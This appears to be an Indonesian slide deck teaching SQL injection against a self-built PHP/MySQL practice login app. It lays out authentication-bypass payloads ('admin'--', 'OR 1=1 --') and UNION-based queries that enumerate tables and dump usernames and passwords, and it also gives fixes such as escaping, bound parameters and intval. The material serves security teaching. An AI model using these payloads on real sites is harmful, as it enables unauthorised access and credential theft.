2. Praktek SQL Injection
• Buat Aplikasi Login Sederhana Menggunakan PHP dan HTML dengan database MySQL
• Buat Database dbblog / yg lain kemudian buat table user
• Buat File PHP
• config.php
• login.php
• Index.php
• Blog.php
• Post.php
7. SQL Injection
• Jika mengetahui Username tetapi tidak mengetahui password
• Contoh
• Select * from tbl_user WHERE username = 'admin’ AND password =
'1234'; contoh query normal
• Lakukan injeksi pada belakang username Select * from tbl_user
WHERE username = 'admin'-- ' AND password = '1234';
• Jika dilakukan pada program masukan pada input box username
• admin’—[space] yang berarti akan mengabaikan password pada
username
8. SQL Injection
• Jika tidak mengetahui Username dan password
• Contoh
• Select * from tbl_user WHERE username = 'admin’ AND password = '1234'; contoh query normal
• Lakukan injeksi pada user name dengan logika OR
• Select * from tbl_user WHERE username = 'yyyy' OR 1=1 -- ‘ AND password = '1234’;
• Atau di limit agar dapat satu data saja Select * from tbl_user WHERE username = 'yyyy' OR
1=1 LIMIT 1 -- ' AND password = '1234';
• Jika dilakukan pada program masukan pada input box username
• yyyy' OR 1=1[space]--[space] yang berarti akan mengabaikan password pada username
9. Bagaimana Cara Mengatasinya?
• Menggunakan escape string
• mysqli_real_escape_string(connection, escapestring)
• https://www.tutorialspoint.com/php/php_function_mysqli_real_esca
pe_string.htm
• Menggunakan Bind Parameter
• mysqli_stmt_bind_param($stmt, $types, $var1, $var2...);
• https://www.tutorialspoint.com/php/php_function_mysqli_stmt_bin
d_param.htm
15. UNION
• Lakukan pengecekan data hingga tidak ada error, itu menandakan table tersebut mempunyai kolom sejumlah yang kita test,
pada query sql kita bisa menggabungkan beberapa hasil query menggunakan teknis union, dan jika menggunakan SQL
Injection di simulasi query hasilnya seperti ini Select * From tbl_post WHERE id = 1 UNION SELECT 1,2,3,4
• Jika sudah tahu jumlah tabelnya yang akan kita union kita bisa lakukan injection menggunakan query untuk mendapatkan user
dan password dari web tersebut id=9999 UNION SELECT 1, username, 3, password FROM tbl_user LIMIT 0,1
• Mencari table user pada table tablescema mysql
• Select table_name from `TABLES` where TABLE_SCHEMA = 'dblatihan’ untuk mengetahui table apa saja yang ada
• Jika sudah tau ada table apa saja, kita bisa lakukan penyerangan
• id=9999 UNION SELECT 1, group_concat(username), 3, group_concat(password) FROM tbl_user LIMIT 0,1
• Mencegahnya dengan Menggunakan intval($variable)